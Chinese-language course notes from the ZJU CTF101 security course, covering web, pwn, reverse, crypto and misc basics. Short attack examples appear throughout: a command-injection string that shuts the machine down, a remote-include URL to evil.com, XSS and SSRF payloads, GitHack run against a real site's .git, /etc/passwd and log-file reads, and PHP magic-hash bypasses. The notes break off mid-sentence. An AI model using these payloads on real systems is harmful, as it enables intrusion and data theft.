[课程笔记]ZJU CTF101安全攻防实践
教师:常瑞 申文博
TA/教师:TonyCrane, Gooduck, f0rm211n, das schloss, OverJerry, 45gfg9, Esifiel, SuperGay, yyy, pumpkin
课程开源内容:https://courses.zjusec.com/intro/lab0/
很不错的信息安全短学期课程,极大提升自学能力(确信。一共有 Misc,Pwn,Crypto,Web,Reverse 五个专题课程。第一周为基础周,第二周选择两个专题进行精进(Web,Reverse)。每一节课都有对应的一个 Lab,期限两周。唯一的问题是每节课都会用到新的工具,如果不熟练或者环境配置有问题的话整节课的感觉十分炸裂/(ㄒ o ㄒ)/~~。
Web
桌面应用和 Web 应用在架构上有显著的区别。桌面应用通常是在本地运行的独立程序,而 Web 应用则需要依赖客户端和服务端的协作。
- 客户端:你的浏览器
- 可视化
 - 人机交互逻辑
 - 缓存、Cookie
 - 安全
 
 - 服务端:某台或很多台服务器 - Authentication and Authorization - 处理请求 - 安全 用户不能获取不能得到的信息 + 不能执行任意代码RCE
前端也可以有服务器,处理页面跳转等。区别于后端处理业务逻辑的服务器
 
网络
数据包
数据包(邮件)
传输和路由(分拣)
域名 DNS
DNS(地址簿)对应 IP 地址(门牌号)与容易记忆的域名
- 可以把用户的请求分摊到多个服务器中
 - 在更换 IP 地址的时候可以自动更换定位
 
OSI 七层模型
- 物理层:bit 的发送传输 与 纠错
 - 数据链路层:硬件和硬件的通信 e.g. 网卡与路由器
 - 网络层:包裹的分拣和物流
 - 传输层:有效到达对端 数据包具体到哪个应用
 
TCP/IP
- IP:网络层 数据包的寻址 主机到主机(快递公司)
 - TCP:端到端(菜鸟驿站)两个应用用同一个端口的话就无法区分数据了
无边界的字节流 :不区分数据的开始和结束,由应用层规定边界->可能发生粘包的情况->数据包走私 - UDP:开销小 快 自由度高
 
DNS
A:v4 地址
AAAA:v6 地址
CNAME:包括别名
TXT:文本
NS:其他 DNS 解析服务器
1  | nslookup  | 
_非权威应答_ :可能过期
询问根域名(.)的 DNS 服务器 (类型为NS)
询问com.
这样一层一层地询问下去,最终可以得到最准确的 ip 地址
tracert
实现:设置一个`TTL`,到达这么多次跳跃的时候把这个包设置为“死包”
`tracert`就是运用设置 TTL 为 1、2、3……通过收取路由器返回的丢弃包的信息来得知路由的过程
代理 PROXY
VPN
正向代理,看起来像是在内网一样
反向代理
把内网的东西传到外面
可以隐藏原 IP 通过 cloudflare 转发
内网穿透
HTTP
应用层 基于 TCP
超文本传输协议
无状态
客户端向服务端发送请求 ↑
请求头 ↑(包含了 cookie)
可以通过浏览器的cookie editor插件来查看其组成部分
后端:业务逻辑
不要相信用户的数据(前端过滤等于没有过滤
- 常见技术栈 Node.js Go Rust…
 
CTF
逻辑漏洞
if money!=0 then money-=price. What if money=-1
- 这么蠢的洞也有人写?
 - 这么写怎么可能有洞?
 - 这么多人用怎么可能有洞?
 
注入:混淆了数据和代码
宏:拼接代码极其危险
例如printf("%d", _____)
正常输入:1 2 3
恶意输入:1); system("shutdown -s -t 0"); //
就变成了printf("%d", 1); system("shutdown -s -t 0"); //)
Cookie 与 Session
Cookie
存在客户端的小型文本文件
暂时储存用户的偏好设置,身份验证信息
所以如果 Cookie 泄露以后 可以直接用该账号的名义进行操作(直接绕过了登录)
Session
储存在服务端的临时数据储存区域
例如用户登录以后创建一个 Session 并将 Session ID 通过 Cookie 发给客户端
以后只需要客户端在请求的时候包含该 ID 就行,由服务端在 Session 中查找数据
PHP
PHP study
e.g.
1  | <!DOCTYPE html>  | 
SQL
增删改查
1  | -- create  | 
PRIMARY KEY主键 互不相同 可以很方便地索引
NOT NULL 不能为空
SELECT *
典型安全问题:直接拼接字符串进行 SQL 查找 如果此时用户恶意注入了一段 SQL 代码,比如将后面注释掉(--),前面插入恶意代码(SELECT ...),就会导致数据库中的信息暴露
安全问题
- 逻辑漏洞
a==1&&a==2结果一定为false吗 
- 任意文件读与任意代码执行:最严重的问题
 - 文件包含:例如一个 Web 应用允许用户通过 URL 参数指定要包含的文件,如
index.php?page=about。攻击者可以通过构造恶意 URL,如index.php?page=http://evil.com/malicious.php,包含远程恶意文件,从而执行恶意代码。 - 越权:例如一个 Web 应用允许用户查看自己的订单信息,但未正确验证用户的身份。攻击者可以通过篡改 URL 参数,如
order.php?id=123,查看其他用户的订单信息。 
前端:可视化与操作逻辑
HTML - CSS - JS
Type Script
增加了静态类型
Node.js
使用了 Chrome 的 V8 引擎
让 JS 可以在电脑上直接运行而不依赖浏览器
安全问题
XSS
示例: 假设有一个留言板应用,用户可以提交留言。如果应用没有对用户输入进行过滤和编码,攻击者可以提交以下恶意留言: ```
1  | Copy <script>alert('XSS 攻击!');</script>  | 
 当其他用户访问留言板时,这段脚本会在他们的浏览器中执行,弹出一个警告框。
如果脚本内容是其他的恶意代码的话,所有访问留言板的用户都会中招
CSRF
跨站请求伪造
SSRF
服务器端请求伪造
假设有一个 Web 应用允许用户输入 URL 并获取该 URL 的内容。攻击者可以输入内部服务的 URL,获取敏感信息:
1  | <https://example.com/fetch?url=http://internal-service:8080/secret>  | 
很经典的例子:QQ 机器人对 url 自动生成网页预览,导致内网的网页被暴露
跨域
示例: 假设有一个 Web 应用需要从另一个域名加载数据,但由于同源策略,直接请求会被阻止:
1  | fetch("<https://api.example.com/data>")  | 
经典老番:地址栏输入网址并访问后发生了什么
- DNS 解析(域名解析):
- 浏览器会首先检查本地缓存中是否有该网址对应的 IP 地址。
 - 如果没有,它会向 DNS 服务器发送请求,查询该网址的 IP 地址。
 - DNS 服务器返回该网址对应的 IP 地址给浏览器。
 
 - 建立 TCP 连接:
- 浏览器使用前面得到的 IP 地址,通过 TCP/IP 协议与目标服务器建立连接。
 - 这包括三次握手过程:客户端发送 SYN 包,服务器返回 SYN-ACK 包,客户端再发送 ACK 包确认连接。
 
 - 发送 HTTP 请求:
- 建立连接后,浏览器会发送一个 HTTP 请求到服务器。这个请求包含了请求方法(如 GET 或 POST)、请求的资源路径以及一些头信息(如浏览器类型、可接受的文件类型等)。
 
 - 服务器处理请求并返回响应:
- 服务器接收到请求后,会处理该请求,查找请求的资源(如 HTML 文件、图片、视频等)。
 - 服务器会将找到的资源以及一些头信息(如内容类型、内容长度等)打包成 HTTP 响应,返回给浏览器。
 
 - 浏览器接收响应并渲染页面:
- 浏览器接收到服务器返回的 HTTP 响应后,会解析响应的头信息和内容。
 - 如果内容是 HTML 文件,浏览器会解析 HTML 并根据其中的指令(如加载 CSS 文件、执行 JavaScript 脚本等)进行渲染。
 - 浏览器会逐步构建 DOM 树和 CSSOM 树,并根据它们生成渲染树,最后将内容绘制到屏幕上。
 
 - 加载资源:
- 如果 HTML 文件中包含了其他资源(如图片、CSS、JavaScript 等),浏览器会根据需要发送额外的 HTTP 请求来加载这些资源。
 - 这些资源加载完成后,浏览器会继续渲染页面,更新显示内容。
 
 
整个过程通常在短时间内完成,以确保用户能够快速看到网页内容。
MISC
- 取证
 - 隐写
 - OSINT
 - 流量取证
 
编解码
字符编码
人类理解的字符 计算机理解的 01 串 之间的映射方法
- ASCII:每个字符可以用 7bit 表示
- 80-9F 控制字符
 - A0-FF 可见字符
 
 - Unicode 字符集
- UTF-8
 - ……
 
 - 中国国标字符集
- GB2312
 - GBK
 - ……
 
 
第一位为 0 的时候就是 ASCII
乱码
每种编码方式的规则不同(乱码),编码的范围也不同(U+FFFD�)导致出现问题
实践中可以使用 CyberChef、 vscode、 python 进行解编码
1  | "string".encode("UTF-8")  | 
**注意**:python 在处理异常的解码时会直接抛出错误,如果不想让他这样做的话要加上代码
1  | "string".decode("UTF-8", errors='replace')  | 
这样会正常输出可以解码的部分 并把错误部分用特殊字符 � 替换
Base 编码
01 串和 01 串之间互相转化
- Base16:用 16 进制表示字节流,长度翻倍
 - Base32:按照 5bit 一组 按照字符表(A-Z2-7)映射 长度为 5 的倍数 不足的用‘=’补齐
 - Base64:6bit 一组 \frac{\frac{按照标准字符表(可以换)A-Za-z0-9+/ 转换。结果长度必须是 4 的倍数,不足的用‘=’补齐
 
常用编码-转换-乱码
GBK
OSINT
文件信息泄露
- 文档的原信息
 - 工程文件夹 .vscode .git …
 - 文件夹路径泄露 markdown 文件图片路径(源文件)
 
Reverse
编译原理:前端和后端
IR:无论要编译成什么汇编语言,都可以使用 IR
一般逆向用户态可执行程序
- Windows: PE/PE32+
 - Linux: ELF(Executable and Linkable Format)
 
编译
分为前端和后端两部分
1  | gcc/clang -S Hello.c -o Hello.s`  | 
-S compile only
-Ox 优化等级
保留所有中间文件
1  | clang -save-temps hello.c -o hello.elf  | 
前端
生成clang AST
1  | clang -Xclang -ast-dump -S hello.c  | 
生成LLVM IR
1  | clang -Xclang -emit-llvm -S hello.c -o hello.ll  | 
后端
LLVM IR 到汇编
1  | llc hello.ll -o hello.s  | 
汇编到目标文件
1  | llvm-mc -filetype=obj hello.s -o hello.o  | 
一步到位
1  | llc -filetype=obj hello.ll -o hello.c  | 
链接
- 静态:把所有依赖的全部连接上 即使在一个“裸机”新环境下也可以正常运行
 - 动态:节省磁盘 需要库函数
 
程序到进程
- 程序是静态的 文件的概念
 - 进程是动态的 系统运行时的概念 有(pid)
根据 pid 查看进程相关的信息 
1  | cd/proc/<pid>  | 
逆向
逆向不等于破解
Pwn
Pwn = Find the Bugs + Exploit them
A Software Bug is a failure or flaw in a program that produces undesired or incorrect results. It’s an error that prevents the application from functioning as it should
利用目的:代码远程执行
例题 1
目标:让这个程序 crash
1  | 
  | 
很简单的漏洞,0 进制? 负数进制?会不会有位数溢出?
例题 2
目标:让这个程序暴露出用户名和密码
1  | 
  | 
输入 用户名 和 密码
如果用户名是
admin: 从远程调用一个 password.txt 并比较
其他用户
漏洞:
1  | wrong_password:  | 
使用%s打印字符串
如果 password 输入结尾没有 0, 那么会把处于其内存往后的一部分泄露出来
1  | char username[BUFFER_SIZE];  | 
password_verify
代码注入 Code Injection
Stack Buffer Overflow
栈的实现基于两个指针
- stack pointer
 - frame pointer
两个原语 - push
 - pop
 
1  | PUSH rbp  | 
调用完毕函数时:
1  | POP rbp #栈的抬升  | 
例题 1
实现获得access granted的效果
1  | // gcc -g -fno-stack-protector example.c -o example  | 
这段代码使用了gets(input)输入字符串 完全没有限定读入的长度
NEVER USE THIS FUNCTION!
再对比 password.txt 和 input 来判断密码是否正确
发现verified刚好位于input数组后面,可以通过溢出来更改verified的值
这样无论密码是否正确,都可以把verified设置为true
注意编译的时候要关闭编译器的栈保护功能
1  | gcc -g -fno-stack-protector example.c -o example  | 
否则会被检测出栈攻击的行为stack smashing detected!
其原理是在原来栈的上面插入一个随机值,如果该值被改变掉了,说明收到了栈攻击。不过这种栈保护依然可以被绕过。通过栈泄露这个随机值,并且维持它即可。
例题 2
1  | // gcc -no-pie -fno-stack-protector example.c -o example  | 
通过覆盖函数的返回地址,实现把代码劫持到留有的后门中never_reachable_backdoor
让代码跳转到适当的位置
到达这个后门程序以后。就通过系统调用来打开shell了
例题 3
1  | // gcc -fno-stack-protector example.c -o example  | 
如果一个程序开了 pie 保护,就难以获得特定函数的起始地址了(运行时地址是某个地址加上一个随机基地址)
可以通过此命令查看程序被什么保护了
1  | checksec <filename>  | 
破解的方法是:虽然函数的起始地址被加上了一个随机的基地址,但是在运行的过程中函数地址的相对位置还是确定的。可以得知其后三个十六进制位的值,剩余一位(半个字节)可以强行爆破
Crypto
密码学
- 存储:不安全,会被窃取
 - 传输:不隐秘,会被窃听
 
明文:plaintext
加密:encryption
密文:ciphertext
解密:decryption
密码算法:cryptography algorithm
密钥:key 加密或解密所需要的除了密码算法之外的关键信息
对称加密:加密和解密的时候使用同一密钥
非对称加密:加密使用公钥,解密使用私钥
哈希函数:把输入内容单项映射到一个短的摘要上,可用于文件完整性校验
数字签名:对消息进行签名,以防冒名伪造或篡改
古典密码
- 代换密码:用新的替换原有的内容
 - 置换密码:打乱原有的顺序
 
凯撒密码
简单的单表替换密码
也可以扩展到 ASCII 上进行移位
仿射密码
既有乘法又有加法
单表替换密码很容易被词频统计和暴力破解
维吉尼亚密码
多表加密
第 i 个字符使用第 i 个密钥进行偏移
置换密码
加密变换使得信息元素只有位置变化而内容不变
栅栏密码
把明文分成 k 行再进行重新拼接
Hill 密码
把每个字母当作 26 进制数字,将一串字母变成 n 维向量。通过定义一个的矩阵(这个矩阵就是密钥),对向量进行乘法,即可加密。这个矩阵的逆矩阵即为解密的矩阵
专题:Web 安全 SQL 注入部分见另外一篇文章
PHP
快死了,但是还没死透
facebook 是 php 写的
漏洞多,但是容易理解
可以比喻为:在静态的 HTML 里面挖洞,填上动态的东西
SQL injection attacks → “Outdated” attack vector:(small↓↓↓ attack interface)
Prelude: Run a PHP script
1  | php -r "echo 114514"  | 
Attacks: Git leaks & File leaks
GitHack
Usage
1  | python GitHack.py http://www.openssl.org/.git/  | 
.git 版本控制中存在所有文件的历史
Scan possible folders: using
1  | dirsearch -u http://  | 
硬扫某个网站的漏洞(有法律风险)
Weak Comparison
1  | var_dump("0e1234"=="0e5678")  | 
php 把这两个当成了科学计数法,所以数值上是一样的
- Attack vector: hash comparison
有些网站会使用 md5 对字符进行处理后再存放
但是有些字符经过处理后会变成 0e 开头,此时进行 php 的弱比较就会出问题 - MD5:
 
1  | QNKCDZO -> 0e830400451993494058024219903391  | 
In-place: 0e215962017 == md5(0e215962017);
Variable override
1  | $a=array("tony"=>"crane");  | 
- Variables and special variables:
- $_GET: URL parameters via query string.
 - $_POST: Variables passed via HTTP POST method.
 - $_REQUEST: Combines 
$_GET,$_POST, and$_COOKIE. - $_SESSION: Session variables for the current script.
 - $_COOKIE: Variables passed via HTTP cookies.
 - $_FILES: Items uploaded via HTTP POST method.
 - $_ENV: Variables passed via the environment method.
 - $_SERVER: Server and execution environment information.
 - $_GLOBALS: References all global variables available in the script.
Check them viavar_dump(...);! 
 - Built-in functions
- phpinfo
 - exec
 - var_dump
 - highlight_file
 
 
File inclusion
- Similar to Python 
import: to include is to execute - Make it BOOOOOM: include self 
include __FILE__; - AFR: Arbitrary File Reading - Read 
/etc/passwdto verify whether you’ve achieved AFR or not - 远古时代用来存密码的,验证你做到了任意文件读 - Read/flagif you could! - Read files where you can (partly or fully) control: - Log files -/var/log/auth.log-/var/log/apache/access_log-/var/www/logs/access_log-/var/log/access_log- File uploaded by users (or attackers… you! )
从 AFR 到 RCE(远程文件执行)找一个 php 文件然后 include,自己加上开始和结束的标签即可执行 
Session
1  | php -r "phpinfo();" | grep "session.save_path"  | 
获得当前的 Session
Regex: bypass via catastrophic backtracking
1  | 
  | 
虽然运用了正则匹配,来判断输入是不是一个 php 文件,把它拦住,不让他写入文件
但是,



















![[课程笔记]2024春夏 ZJU 数据结构基础](https://s2.loli.net/2024/07/15/tZBwHEjfqLKs45x.png)
![[misc]网站搭建中使用的python脚本和HTML前端代码](https://s2.loli.net/2024/07/15/eM2UuLr5t37XmF9.png)